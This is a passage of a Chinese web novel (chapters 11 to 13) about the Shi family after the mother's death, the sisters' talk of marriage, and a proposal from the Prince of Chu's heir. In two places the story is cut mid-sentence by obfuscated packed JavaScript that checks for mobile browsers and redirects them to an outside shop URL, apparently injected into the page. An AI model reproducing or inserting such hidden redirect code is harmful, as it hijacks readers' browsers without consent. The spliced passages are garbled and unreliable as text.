好在卿州到逢州一路都有官道,路上都还算平稳。虽然不能太快赶路,总也不到十二天便到了。 师晟已向朝中递了辞呈,回了逢州,只等着他们三人到了便要开始准备下葬事宜。 马车才在院门口停下,师冉月仿若积蓄了力气,也未管其他人,径自冲下了马车,直奔停灵的院子。端木萌叫她不及,只好赶紧也追上去。萧晨和端木婉看顾着师吟月和安允,一直把他们安置到新收拾出来的小院里。这处院落的屋子里地板下用铜炉做了地暖,纵然是冬日也暖和的很。 端木婉与师吟月还是第一次见,又因为师吟月状况实在不好,只撑着力气与她们寒暄了几句,就开始忍不住难受得皱眉。萧晨便把自己身边的管事婆子留了一个帮织云织雨打理,便拉着端木婉先行离开。 “你莫要多心。吟月是好性子,与外人总隔着心,但是与咱们自己家人最是一条心的。只不过她如今身子太弱了。” “我晓得。我与她说这两句话,倒感觉她和我的性子大概还挺投缘的。”端木婉点点头,又叹道:“何况我们都是生过孩子的人,哪里能不理解她呢?我那天听郎中说了,你如今夜里总睡不安稳,月事也总不好,不也是有了焕哥儿之后的毛病。” 萧晨也不住地叹气,“可不是,其实我也还好,但瞧着你有了二姑娘和三姑娘之后,身子也越来越弱了。只有云姝原先身子骨就好,如今倒看不出什么大的损伤。”又加快了脚步往灵堂去,“先别说这些了,小六不知道要哭成什么样子。” 师冉月却并没如萧晨以为的那般嚎啕大哭,实在是似乎半辈子的眼泪已经在前些日子流尽了,如今眼里满是干涩生疼,却没有泪水。她看着躺在棺木中的母亲的面容呆愣着,一声不吭,连眼睛都不太眨,吓得端木萌快要上前叫醒她,却被音儿劝住。 过了不晓得多久,久到已经对她的状态习以为常的师骁已经在灵前上完了香磕过了头,久到外面响起萧晨和端木婉急匆匆的脚步声,到其余人也聚到了灵堂,到师吟月缓过劲儿来慢慢过来磕头上香,师冉月才动了动,待师吟月起身后,自己慢悠悠挪过去,慢慢跪下,上香,磕头,动作平静而流畅,仿佛只是又在参加旁人丧仪。 还是岳诗韫叹了口气,上前从身后扶住师冉月的肩,把她抱在怀里。师冉月终于慢慢啜泣起来,慢慢转头把自己埋在岳诗韫的臂弯中,沉溺在潮湿里。 师晟、师穆和师霖都默默立着。萧晨低首不语。同样是师家的媳妇,与端木婉和端木萌是前两年才过门的不同,她已经做了快十年。当年太夫人赵霞云已经基本不再过问家中事务,岳夫人又整日躲起来伺候花草、品鉴诗书,家里的重担完全压在唐烨身上。然而她过门后,唐烨既没有给她立规矩,也没有急于要她分担,反而是叫她跟着一步一步熟悉师家上下,带着她参与京中夫人们的宴会,直到两年后才开始慢慢让她接手一些事务。起初她以为嫁到师家,上有太婆母和两位难以把握分寸的婆母,下有一堆小叔小姑,为此担忧不已,然而唐烨却让她仿若还是在家中有母亲亲自教导庇护。 她的去世并没有很突然。早在离京的一路上萧晨就觉得不对劲,到了逢州安顿下来,找了郎中,每次问诊过后郎中私下里告诉她的结论似乎都预示着这个结果的到来,甚至越来越快。也许她的病原不是因为师道旷的离开——这只是一个诱因,早在她开始慢慢松懈下来,觉得儿女都已长大成人,觉得媳妇已经可以独立持家,原先紧绷着的弦开始松动,也同时,开始了老化。 萧晨在心中长叹,转身示意师骁随他出去,到了院中,道:“母亲走之前收到了小六寄回来的信,特地找人打听了张家那个姑娘,请人画了画像来看了,又找人算了八字,都是好的。礼单母亲已经替你准备好了,她要你莫要担忧守孝什么的事,咱们家一向没有那么多规矩,你若确定了,过三个月就有合适的好日子,便把事办了。岳夫人那边也看过了,只听你的。” 师骁也低下头,再抬头时眼眶仍红着,只道:“母亲走了,我娘一向不管这些事,我全听大嫂作主。” 萧晨点点头,“那么,等葬礼的事都完了,我便着人去准备了。”又一顿,还是忍不住轻叹道:“岳夫人也并非不管你们的事,她只是向来身不由己,不想自己也被束缚住罢了。” 师骁苦笑道:“大嫂放心,我们都晓得。” 唐烨与师道旷合葬在了逢州师家祖坟。 仅仅半月过后,祖坟旁又多了一处小坟头,是发热夭折的安允。 师冉月代笔写信告知了端木菡,将信交给人送出去,回过头看着靠在窗边发呆的师吟月,想说师骁的婚期快到了,又说不出口。前些日子师骁怕师吟月难过,向萧晨说要将婚期再往后调一调,却被师吟月知道了,只说:“不必顾忌我。何况你成婚了,我也终于能有件开心的事。”这才仍如期有条不紊地提亲送礼了。 师冉月在门边踌躇着,早春的凉风一吹,忍不住打了个喷嚏。师吟月回过头,“你前几天才着了凉,别站在风口。”看着师冉月不自在,又扯唇笑了笑,“别成日里守着我了。逢州这么大,你还没出去怎么逛过吧。” “我等你过些日子病好了,咱们两个好一同出去啊。” 师吟月却只道:“我待在这屋里也挺有意思的。你看那迎春花,三天前我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226126|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘刚叫人种在这,如今就有花苞了。”说着,又像突然想起来什么似的,手撑着窗前的小几坐起身来,看向师冉月道:“四哥的婚事如今也有着落了,倒是你,如今也没太多好顾忌的了,你可碰上心仪的人没?”又开玩笑道:“虽然你如今不是‘阳曲侯师太傅的嫡女’了,不过大哥新任了逢州太守,无论上边那位究竟是怎么想的,你如今在逢州城里找门亲事也是不难的。” “逢州城——虽安稳,可我自小与这边的人也没有什么来往,各家也都不大熟悉。”师冉月摆弄着案上的插花,来回调整着一支长枝的角度,不甚在意的样子。 “京城是熟,可也不能留在虎狼窝里头啊。”师吟月叹道。 师冉月撇了撇嘴,“从前你们总想着我也许会是太子妃,也不敢给我另找婚事,我自己也没注意过。最近这么多事,我又哪里能有心思呢?” 师吟月却杳然提起:“那你觉得楚王世子如何?在京的时候你不是私下里还见过他。他的侧夫人是枝芳,虽然我听说已经有了庶长子,但也不会欺负了你,也是个好选择。”枝芳是林绵的字。许久没有她的消息,听到这个名字,师冉月只想起自己与她雨中茶楼那一叙。当初自己还胸有成竹,仿佛一切尽在掌握,如今想来却恍若隔世,真是世事无常。她笑了笑:“原来绵姐姐也有孩子了吗?” “是呀,”师吟月苦笑,“我们都到了这个年纪了,如今只你还是未出阁的小姑娘。不过过两个月你就十八岁了,再不定下婚事,往后可是真越来越难了。” 师冉月打岔:“放心,我怎么会嫁不出去。”却又思量着慢慢问道:“姐姐,你说......这个孩子是绵姐姐所求吗?” 师吟月被问得有些讶然,道:“怎么突然说起这个来了。”想了想,又道:“有了这个孩子,想来总比她孤身一人在王府好些。到底是世子长子的生母,就算将来正室夫人过门后兴许会不受人重视,也不会被太过轻视慢待。” “可是......为何,为何她要靠这个孩子才能不受人慢待呢?”师冉月茫然而着急道,“嫂子们生产时都那般凶险辛苦,你这身子也是生产后越来越弱的,绵姐姐便只有经历这样的苦楚才能活得自在些吗?” 师吟月不言,看着窗外两只鸟雀飞到树杈上,在树枝间来回蹦跶着穿梭,想了许久,才叹道:“这是古往今来默认的事。就算我们自己不情愿,有了这些所谓‘离经叛道’的想法,可我们身边的其他人没有不默认这些的,我们更没办法不被这些人制约束缚——除非你剪了头发做姑子去。有些人可能想到了这些后便要蓄力改变,争个头破血流,可是有时候,接受这些,适应这些,也许也是个过得更好的法子罢。” 她说着,看着妹妹的荧光翩然的眼睛,仿佛有什么像夏末将要死在沼泽中的萤火虫一样,一点一点黯淡下去了。师冉月好似只是没有听见符合自己心意的答复,微微侧低下头回避开了姐姐的视线。 师吟月轻轻咳了几声,又道:“或者你想怎么做呢?” “我也不晓得。或许,其实从我心底,便是换我到了绵姐姐的境遇和位置,我也会自然而然地做同样的打算,只是我突然想不通我们会这样做的原因罢了。” “你自小生在这样的家里,周围也都是相似的人,不这样想、这样做,倒是一件怪事。”师吟月勾唇笑了笑,拍了拍她的手,“别为此伤神了,是非对错自在人心,凡事也并不是都需要理由,你只管一直随着你的心意做就好了。但凡能让我们明日过得更舒坦的事,即使今日稍微多付出一些,也未必不值得。” 正巧织雨卷了门帘进来,往案上放了一瓶新剪的迎春花枝,又道:“大夫人说昌留郡王家的女眷要到了,叫二姑娘去迎客呢,还问大姑娘有没有兴致。” 师吟月闻言,顿时敛了神色,倦倦地随意拿了本书,对师冉月道:“我可没有。你且快去罢。” 师冉月听着“大夫人”的称呼还有些恍惚。唐烨去世后也不知道何时开始的,大家便开始不约而同,叫岳诗韫为岳太夫人,而称萧晨为大夫人,端木婉为二夫人,端木萌为三夫人。师晟还未正式受封承袭爵位,所以大家也只称老爷作罢。不过织雨也正好打断了她原先乱麻一样的思绪。音儿却不等她发愣,已拽着她回房更衣到正院迎客了。 12. 第 12 章 昌留郡王徐演是今上姑母、已逝的昌留大长公主之子,公主去世后受封郡王,如今膝下一子二女,长子徐策受封世子,不久前刚娶了池州梁家的女儿梁婳为妻。两个女儿一个十七岁,名聆雨,字佩禾,一个才十二岁,名酌雨。 郡王妃已经去世有些年头了,今日来师家的便是世子夫人梁婳,以及徐聆雨和徐酌雨。 萧晨与梁婳相对而坐。梁婳一身玫红色的衣裳,上挑的眼尾配上紫调的胭脂,显得有些妖冶。端木婉和端木萌都不在,师冉月自己一个人对着徐聆雨和徐酌雨,只好假笑着客套。 “年关的时候池州的老族叔身子不爽利,我们几房便都去了池州,未曾赶上亲自吊唁唐夫人。这不,昨日才回来,今日我便领着家里这两个妹妹上门来赔礼了。”梁婳笑得温婉知性,师冉月却僵着扬起的嘴角腹诽,从未听说过还有这么个赔礼法。 一抬头却正好对上徐聆雨的眼睛,雨滴般圆圆的眼角带出几分娇憨,却被眉眼间压不住的聪慧轻轻巧巧地盖过了。水蓝色的衣裙在袖口裙边带着一抹淡紫,点点莲花的刺绣点缀在褶皱里,满是考究。相比之下,徐酌雨还完全是小孩样子,轻巧的双环髻上插了彩色的绒花,发辫里编着的细绸带娇俏地藏在发间,尾端的银铃发出细碎的声响。 早先到通判府上作客时,通判夫人晏梅兮就曾与她们几个简单介绍过徐家这姑嫂三人,用她的话来说,梁婳不过是个稍显精明些的妇人,牙尖嘴利,偶尔叫人生厌;徐酌雨则年纪尚幼,在内有些刁蛮任性,在外则内敛腼腆,但也许只是被娇惯的小孩子的通病;唯独徐聆雨,性子古怪,不好相与。 “她总是一时一个脸色......用‘看人下菜碟’来说也不妥当,因为她的态度变化并非是因为时辰、地方或者身份之类,因此便更叫人捉摸不透,有时甚至连性子都大相径庭,叫人反应不过来。”晏梅兮如是道。 师冉月借着方才打招呼与喝茶的功夫略微打量了几眼徐聆雨,却并未看出来她有什么异样,便也将好奇心作罢,只待萧晨应酬。 听了梁婳那一番话,萧晨不动声色,比起梁婳,显得端庄甚至老成。她三言两语绕过方才的话题,开始不浅不深地与梁婳说些逢州勋贵世族的家常与风土人情。搞不清徐聆雨的性子,师冉月也不想妄自单独与她搭话,于是也把注意力放到萧晨的话里,时不时搭一两句。徐酌雨听到感兴趣的话题,便会很高兴的插进话来叽叽喳喳说上一通,不感兴趣时便缠着徐聆雨玩,徐聆雨微笑着应付着她,被拉扯的紧了,与师冉月对视时眼神里便带着尴尬和歉意。 梁婳注意到了,只笑道:“酌雨就是这样的性子,从小家里人都宝贝这个小女儿得紧。” 萧晨便也轻轻牵着嘴角:“女孩子家活泼点也是好事。况且二姑娘年纪也还小呢。” 师冉月忍不住愧疚,想当年她缠着吟月时,会不会吟月其实也很烦,只是不好发作?不过却听萧晨紧接着道:“我们家也是两个妹妹,一个安静些,一个活泼些,倒是恰好互补,两个人凑在一块也有趣。” 徐聆雨笑着附和道:“萧夫人说的是。若没有这个妹妹,我们家人口少,平日里也无趣得很。” 之后又引起了几人一番关于各家兄弟姐妹相处之事的讨论。师冉月一开始还瞪着眼琢磨昌留郡王府与师家此时来往到底是为了什么,后来却越听越困,赶着好容易端木萌回来,众人纷纷起身,梁婳与徐家两个姑娘皆行了大礼,问“云和公主”好。端木萌随意笑了笑,端然坐下,先喝了口茶,才不紧不慢道:“原来是姑祖母家里来的人。说来我也该称梁夫人一声‘表嫂’。” 梁婳忙道:“哪里敢当。” 不待她们说完,师冉月微微高了音量,道:“三嫂,你方才去了哪里,玩得可尽兴?” 端木萌眨眨眼道:“我才从庄子上回来。二嫂还没忙完呢,你且去帮帮她也好。” 师冉月简直喜上眉梢,却还微笑着顶着萧晨的瞪眼见了礼便离开了。也不管什么庄子不庄子,毕竟她才一出门就碰上了刚从马车上下来的端木婉。端木婉一见她这幅样子,忍俊不禁道:“又是什么叫你得逞了?” “昌留郡王家的女眷在呢。那世子夫人拉着大嫂扯东扯西一上午了,我是实在忍不住。还是外面的风凉快。” “快叫人再拿件披风,早春的风寒凉,不是叫你这么个吹法的。你若是在家里无趣,倒真可以去庄子里看看,也不叫你帮忙,但与城里家中是大不相同的。” 师冉月左右闲来无事,便叫成伯套了马车,真就动身往庄子里去。如今逢州宅子的总管事是原先师道旷的随侍、小辈们都唤一声“陈叔”的,与成伯一样,都是看着师冉月长大,也只安排人跟着保护,同时告知了萧晨,并不阻拦她。萧晨听说是端木婉的主意,也只摇头笑笑:“也好,这皮猴子不在家,也都清静清静。明日我要去景通判家拜会,你们谁与我去?” 师家在逢州起家,虽近些年家中经营重心挪到了京城,但逢州的基业仍然处在不可撼动的地位。逢州城北和城东的土地大多都是师家的。北边的地划分到四五处处庄子,土地大多数都租给了佃户;东边的一部分分给了家中仆从,剩余的则租给了农民。 北边主庄紧邻鉴湖,风光秀丽,一向是家中人避暑的好选择。中心的宅子院落精雕细琢。主宅一向是空着的,每日都打扫干净,以待主子们随时光临;旁边的配宅是庄子管事沈石一家住着。沈石的女儿便是唐烨身边的青芜,如今也回到庄子里做事。萧晨等人巡查庄子时自然各处都要走走,但师冉月乐得呆在这一处修整完善的,还有青芜熟悉她一应喜好,更是乐哉。 “这处宅子靠近逢州城,向南的小楼上又能望见鉴湖,听说是当年老侯爷特意选的地方。这一条水渠是从湖里引来的,到此处修了桥做了景,再往北到了田里就作灌溉用了。”青芜一边引着师冉月和音儿逛,一边时不时介绍一二。 “这虽有几分野趣,不过也是站在这楼上看的不只是城中楼台罢了。也与家中——尤其是京中的宅子没什么大分别。”师冉月凭栏叹气,一开始的新鲜劲过了,就又开始觉得无聊。音儿给她披上披风,道:“不如回去罢?方才出门前我去给姑娘取披风,看见廊下几个小丫头坐在那里串迎春花玩。” 青芜从小丫头手里端来一壶红枣百合茶,笑道:“你只瞧了这庄子里专门给你们收拾出来这一片风景,自然觉得无趣。今日也晚了,不如在这住下,明日一早我带你到田间转转。” 恰是落日熔金、暮云合璧的时候,师冉月直直地目送着最后一抹淡橘色落到远处朦胧的青黛之下,手里捧着温热的红枣茶慢慢啜饮,而后叹了口气,道:“罢了,罢了,回去总归也是无趣,今晚便在这住罢。” 青芜便叫小丫鬟去烧水铺床。音儿又陪着师冉月站在小楼上望了一会子,瞧着逢州城里的灯火星星点点地亮起来。师冉月道:“逢州也不只是这些山清水秀,你看那较高的几处酒楼上挂的灯,燃一夜便要千金。京城里较大的青楼只有两处,也没有赌场开在明面上。逢州却有四处青楼,两处赌场,各个都是销金窟。遍地的黄金和丝绸,也有遍地的流民......江南富庶,比起京城里人们做什么都还要假惺惺披着一张皮,这里的人倒是更直白些。” 音儿默默听着,想了会儿,轻轻道:“这话听着像大姑娘会说的。” 师冉月苦笑:“我原先就觉得其实我和她血脉相连,从小都生在长在一处,本就很相似。只不过她年龄大,又太要强,既想像二娘一样有闲云野鹤的气度,精通诗词歌赋、琴棋书画,又想像母亲一样端庄能干,贤惠持家。于是她逼着自己样样都学,甚至还要给我做起榜样,保护着我些。我呢,是母亲最小的孩子,从小没人逼我什么,我也不确定自己的追求。其实我也想像姐姐那样,但是我没她那么有毅力肯下狠心逼自己努力,因此事事也就那么中庸着过去了。可论起多愁善感,只能说我们都善于麻痹和隐藏。只不过她近来大概是乏了......我,我也有些累了。” 音儿只是沉默。半晌,她替师冉月又拢了拢披风,声音轻快道:“青芜姐姐大概已经备好热水了。我随身带着姑娘喜欢的栀子花瓣,姑娘好好洗个澡,晚上我再叫厨房做碗小馄饨来。” 师冉月低声笑笑,转身和音儿下了楼。想想今日一早没有懒床,陪了师吟月,又耐心地待了小半天客,又跑来庄子里逛了一圈,实在是很丰富,一点也没浪费时间,心情又好了起来。于是脚下步子也轻盈了,直奔着沈石和他的妻子韩姨专门为她准备的晚饭去了。 次日不过鸡鸣,窗纸上都还沾了露水的凉意,青芜就叫上音儿把师冉月唤醒。师冉月睡得朦胧,音儿便拿了手帕沾上温水一遍一遍擦拭着她的脸,总算才叫她完全清醒过来。青芜拿来一身暗色的粗棉衣裳还有缚带,道:“这是我之前穿过的,我昨晚照你的身量改了改。今日要到田里去,你的衣裳不好活动,也正好免得弄脏了。” 其实师冉月从前就总央着水杏把衣裳改小一些借给她穿,好方便她偷溜出去玩,因此对这身衣裳适应良好。青芜笑道:“我还怕我们姑娘皮肤娇嫩,穿不了粗布衣裳呢。” 师冉月自己简单用银簪把头发绾起来,爽利道:“哪能那么金贵,我从小可是皮猴子,只不过往往叫人瞒着母亲,因此才把青芜姐姐你也连带着瞒过去了。” 一行人到了水田里。如今正是要插秧的时候,田里已经放满了水,有些地里秧苗已经插了一小半。太阳还未升起,正是好干活的时候。师冉月站在田垄上,总觉得脚下的泥软的下一刻就要脚滑跌进田里。音儿扶着她蹲下来,她便伸手撩了撩水,却觉得寒冷刺骨,抬头却看见田里干活的佃农都是把裤子系在大腿上,光着小腿和脚就下了水,拉着耕牛和犁,或是一步一退弯腰插秧。不光是青壮年,更有已经鬓发斑白的老人,和几个看上去才六七岁的孩子。 “这么凉的水,怎么能进得去呢?” “水凉也要下啊。此时不插秧,等水热起来,农时也就误了。” “怪不得说‘粒粒皆辛苦’。”师冉月站起身来,忍不住唏嘘。青芜却道:“这才刚开始一年的活计。日后锄草、捉虫,样样累人。如今水是凉,过些日子水暖和些,水里咬人的虫子也都生出来了;到了夏天正午太阳一烤,直能把人晒晕。何况在地里干活,这腰一弯就是一天,晚上睡觉都不敢动。我幼时还没跟在夫人身边也干过农活,个中辛苦可不是三言两语能说清的。” 师冉月抿了抿唇,看着鞋上的泥水若有所思。音儿笑道:“姑娘这辈子总归是不用经历这些的,如今晓得农人辛苦,只管日后把饭吃净些就是了。” 萧晨与端木萌前一日先去了逢州通判景家。通判景宗朝的夫人晏梅兮是武将之后,自幼习剑,眉目爽朗,为人也大方爽利,热情好客,先前唐烨葬礼时便帮了萧晨好些忙。如今见师家女眷终于又得空开始出门会客了,立即主动要领着她们在逢州城四处拜会,次日便约了去楚州通判迟家。迟通判虽在楚州做官,但因着本家和夫人家都在逢州,因此夫人与子女还是住在逢州的宅子。 等二人回家已是掌灯时分。端木婉见着马车到门口,便吩咐下人上菜,等二人净了手回来,师穆、师霖与师骁也团团上了桌。这日师吟月也有些精神,也来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧晨又接着说:“不过迟家那个姑娘今年才九岁,左夫人就已经替她定好婚事了,这倒叫我又急起小六的事来。不过她近些日子倒也懂事的多,不想原先在京城只晓得玩闹了,尤其跟着子持和子锋两个——简直不像个姑娘家。” 师霖却颇自豪:“小六的马骑得可得算是京中女子前几。” 师骁也接话:“翻墙爬树也很溜。” 萧晨和端木婉都长叹一口气。 师吟月如今仍然没什么胃口,挑了几口青菜,又慢慢喝了一小碗鱼汤,便已经有饱腹之感。听着嫂子们的话,却只皱了皱眉,未曾言语。 等端木萌吃得差不多了,接上方才的话题,才好奇道:“你不是一向最对小六恨铁不成钢,怎么这回倒不说话了?” 师吟月道:“她是看见了民间疾苦,可又能如何呢?她如今并不能改变什么,她的性子也不会使她努力琢磨如何去改变。她在京城也不是没有见过城墙脚下那些流民,可她能做什么呢?借家里的事去施一两天粥?反正日后她也是会继续被高高架起来的,不如永远不要把她放下去。她见的越多,发现自己做不了的就越多,就会越痛苦。” 萧晨轻轻放下筷子,沉声道:“她只是身在高位,这是一生下来就决定的,可不代表她能看到的就只被限制在这个位子上。” “但是看到的多,不一定对她有益。”师吟月叹道,“她有怜悯人的天性,你告诉她这个世界存在问题,这些个问题如今还被放置到了她眼前,可她却什么也做不了——这种痛苦承担起来又有什么必要吗?”她如今没什么力气,话也说的慢且柔,时不时还伴着两声轻咳,却像一根扯不断的草绳,不肯叫人扯断。 端木婉道:“六妹妹如今看见了、知道了,总会有思索。她身后是我们家,总还是有力量做些什么的。” 师吟月喝了口茶润喉,扯唇道:“我们家的确有‘力量’,小六也知道。可这‘力量’从未交到她手上。”说完,她便起身回了自己院子,留下一桌静默。良久,萧晨慢慢道:“的确不该一直不让小六接触。日后咱们家的女孩子也是如此,无论嫁到谁家,总归是我们师家的女儿。” 师穆沉声道:“不如等大哥回来,仔细商议此事。” 师霖点头,“是个好主意。孩子们也慢慢大了,若要接触,自然是从小为好。” 端木萌迟疑道:“可这并不算是小孩子该知道的——何况万一他们似懂非懂在外面说了什么不该说的......” 萧晨抬手揉着眉心,半晌叹道:“罢了罢了,此事急不得。等你们大哥休沐,回家里来住,到时候再商议罢。五妹妹方才必定气急了,她那身子如今可折腾不得一点。一会儿我再去瞧瞧她,叫厨房再煮些红枣薏仁汤送过去。” 端木婉叹道:“我去看着,你在外面忙了一日了,还是早些休息罢。” 闻言,端木萌又感觉浑身的困乏劲儿又回来了,与师霖并肩往回走,甫一进了自己院子,便整个身子压在师霖怀里:“四弟还是快将新妇娶进门的好,我可不想再日日应酬了。” 师晟自上任逢州太守以来,除却每月一日的休沐,便一直独自住在逢州城内的太守府官邸。任通判的景宗朝比师晟整整小了十一岁,世族子弟,少年登科,和年少的师霖一样的性子,鲜衣怒马,人生得意,事事推举师晟为先,又拿自己在逢州的人脉替他摆平了不少麻烦。因此师晟近来的日子过的也颇顺畅,甚至在与这位小友共事时仿佛也回到了自己的少年时代:侯门长子,何等肆意。 朝廷里自从李既三人牺牲后也颇平静,似乎逢州与京城的距离真的阻挡了危险的迷雾。师家在京城的“眼睛”最近也十分清闲。这种清闲甚至叫师晟怀疑是否是暴风雨将来的征兆。 然而先等来的并不是暴风雨,而是休沐日前的傍晚将师晟回家的马车拦在半路的不速之客。 师晟在酒楼的雅座落座。小二上了菜后很有眼力地迅速退出房间关门离开。师晟淡淡举杯示意:“不知世子突然前来,所为何事?” 端木玄嘴角扬起弧度,同样举杯示意,而后一饮而尽,道:“早闻子成兄是至情至性之人,在下今日便也直说了。此番前来,是有一桩婚事,想请子成兄同意。” 13. 第 13 章 每逢休沐,师晟往往都会尽早归家,若是实在碰上太守府有事,也会叫随从提前归家告知家人。而这日直到大家实在抵不住饥肠辘辘,动筷用晚餐,师晟仍未回来,也没有个信儿递回来。 萧晨心不在焉地随意吃了几口,便忍不住叫人往太守府去看一看,然而派去的人很快回来,却说太守府的人早好几个时辰便见师太守上了马车离开了。 师穆道:“不如还是我亲自去一趟,沿路也问一问。” 萧晨摇头道:“还不知道是什么事,万一只是虚惊一场,叫太多人知道了反而不好。” 师霖道:“沿路探看也是可以的,碰见认识的人就说是去散散心。我也去景府问一问。” 正说着,却听见府门外传来马蹄声,众人忙前去瞧,却见师冉月利落地从车上跳下来,道:“大家不必着急。大哥在城中酒楼与人商谈,大概也快回来了。”十八岁的少女吹了好一阵乡间淳朴自由的风,容颜像刚长出的稻苗青涩水润。她仍然像只小雀,尽管偶尔在林间哪根枝头望着月光惆怅了,又或者疯狂又无措地漫天乱飞。但是她还是只小雀。她如今灵动着,活泼着,与站在马车下背风处拢着披风的师吟月像隔开的两端。但是她那双眼睛里的神色却与姐姐如出一辙。好像扫过了所有人,又好像目光缥缈着收在眼眶中,没有落在任何人身上。 萧晨攥着手帕松了口气,只当是有谁拦住了师晟谈论太守府的事,便招呼大家回去吃饭。师穆也扶着端木婉慢慢走了回去。师霖回头,却看见端木萌落在后面挽着师冉月,道:“怎么样?这些日子都未回来,可在外头疯够了没?” “家里也没我什么事。我这回也是为了过两日四哥成婚才回来的......恰好碰上大哥。”师冉月说着,抬脚与端木萌一道跨过门槛,没有被端木萌挽住的手够上师吟月的手,道:“走吧姐姐。” 端木萌叹道:“吟儿为了你操心呢,这几日都没好好吃饭,前些天还和大嫂怄气。” 师吟月脸上微微泛红,却仍是冷着眼神,道:“你这些天快活了?如今这么多嘴。” 师冉月却奇道:“大嫂虽严厉,可却是不常生气的。做妹妹的什么事情竟能惹得你们俩怄气了?” 师吟月却只是沉默。正巧已要走到正厅,端木萌眨一眨眼,道:“我叫人把吃的送到你院子去,你们两人自己聊罢。” 萧晨身边的丫鬟却走出来道:“二姑娘先莫走,大夫人有事想问您呢。” 几人便进去落座。师吟月解下披风递给织雨,也不管其他人做什么,径自落座动筷,接过小丫鬟新上的饭来开吃。萧晨看向师冉月,道:“你这些日子在外面可野够了?” 师冉月笑道:“玩是玩不够的。” 萧晨笑叹:“怎么还是这个样子。罢了罢了。过两日你四哥成亲后,咱们家可就剩你一个还没个着落了。你如今也已经十八岁,今年订婚,来年成亲,才好不做了老姑娘。” 师冉月顿了顿,转头抱过奶娘手中的小莞安,道:“怎么只剩我一个?”她瞄了一眼似乎吃得正香的师吟月,转过头逗弄了一会儿手里的小团子,道:“婷姐儿、景姐儿、莞姐儿,哪个有着落了?” 端木婉笑道:“没个正形。” 萧晨摇头,道:“我正经说的,你不要打岔。逢州的好儿郎也有的是,或者周边的,沉州、池州、楚州,离家也不远。尽早定下来才是正经。” 师冉月把咧着嘴天真地笑得开心的师莞安还给奶娘,满不在乎道:“莫急,大嫂,早晚的事。” 师吟月却撂下筷子,道:“你若是还惦记着楚王世子,也不是不行。” 话音一落,满堂寂静。只端木婉不晓得其中旧故,眨着像幼兽般湿润的好奇的眼睛,问道:“楚王世子?” 师冉月眼睑抽了抽,打哈哈道:“二嫂从前见过他?”安王府驻地息州,楚王府驻地慕州,国朝外封藩王非有诏不得随意离开封地,而在师冉月的印象中似乎许多年来京中有宫宴或朝会时安王与楚王也未曾同时出现过。 端木婉果然摇头:“见过是未见过,不过当年楚王伯请立世子后,我父王曾奇怪为何立了辛氏王妃之子端木玄,而没有立唐氏王妃之子端木凛。后来才听说是凛堂兄那年因病暴亡了,却不知为何楚王伯没有声张。而且我小时候好奇,看过族谱,凛堂兄和玄堂兄都是安景二十年生人,这么算来彼时辛氏王妃还未进府。想来也是其中秘事不想太多人知晓,所以楚王伯才未多声张罢。不过今上大概是都晓得的。” 师冉月嘴角勾起一点隐秘的弧度,眼眸微微眯了一瞬,又恢复了表情,抬手夹了片笋放在嘴里嚼着,齿间穿透食物的微小快感挑动着神经。她也只笑道:“这样啊。” 师吟月听了也道:“虽说若是叫世人知晓了此中秘辛,那就是养了外室和私生子的故事了,可这也算常事,不必瞒的如此滴水不漏罢。” 萧晨不太在意:“当年请立世子后未有宴请之事,我便想着是有什么不对,不曾想是这般缘故,说来也有点小题大作了。” 师冉月自顾自吃着饭,想着笋大概还是慕州的好吃。荆楚之地遍布湘妃竹,朦胧混乱的上古传说中女子泪浸湿的竹子生长在江水两岸的蒙蒙雾气中,应该还有渔歌、竹筏......遥远的从未涉足的土地的一切锁在她的妆匣里。 师霖道:“那这么说,当年给小六玉佩的‘小世子爷’已经不在了?小六你可别太伤心了,反正不过是小时候的事。” 师冉月却瞥了他一眼,忍不住呛道:“三哥不如还是做好自己的事罢。” 师霖被她一呛,更未想到她是如此反应。眼前这个小他三岁但一向与他无话不谈的妹妹眼睛里似乎闪着他不知道的隐秘光辉,竟有些骇人。 席间一时间鸦雀无声,除却师霖,其余几人也有些惊讶地看向师冉月。师冉月直了直身,接着道:“我们的人这些年顶多只探听京中和逢州一带的消息,眼光未免太局限了。” 萧晨愣神看着师冉月,张嘴嗫嚅了些什么,却好像发不出声音。 师冉月却又杳然笑道:“随便说说嘛。我这些日子在外面也不是只知道玩乐来着。”她似乎真的只是随便说说而已,方才眼中那般像突然烈烈燃起的火焰般的光也不见了踪影。她又像是寻常的那个师冉月了。 萧晨心觉异样,却又分辨不出。还想说些什么时,却有下人来报师晟回来了,众人便起身迎接,师晟神情有些疲惫,举止却完全放松下来,道:“若是都吃好了,就别在这等着了,我在外面已经吃过了。”他用安抚的眼神看了看萧晨,便向师冉月道:“小六,吃好了就随我出来。”师冉月应声,随着师晟到了他的书房,留下满屋子人面面相觑。却是师吟月慢悠悠又坐下喝了两口茶,将茶碗往案上一放,清脆的一响突兀地唤回暮春的啼鸣。 “你如今可有心上人?”师晟直白问道。他穿着一身褐色常服,端然坐在黑檀木的书案后,双手微微交握着放在案上,神情平和,却仍像是在处理公务般莫名的严肃。 师冉月自小面对这样的长兄,倒是早已习惯,只道:“没有。”又紧接着道:“大哥,我可以嫁给端木玄。” 师晟听着她直呼楚王世子的名讳,微微皱了皱眉,却仍不放心问道:“他方才与我说,你们在京城私下见过面,当时他便对你有意,碍于与林家女的婚约和你与东宫的传闻才未开口提及,可是真?” 师冉月点点头。 “虽说他的确对我们家有助力,不过,冉月,我们家也不是一定要回京才叫好,如今的日子也很不错,你不必为了家里牺牲你的婚姻。” 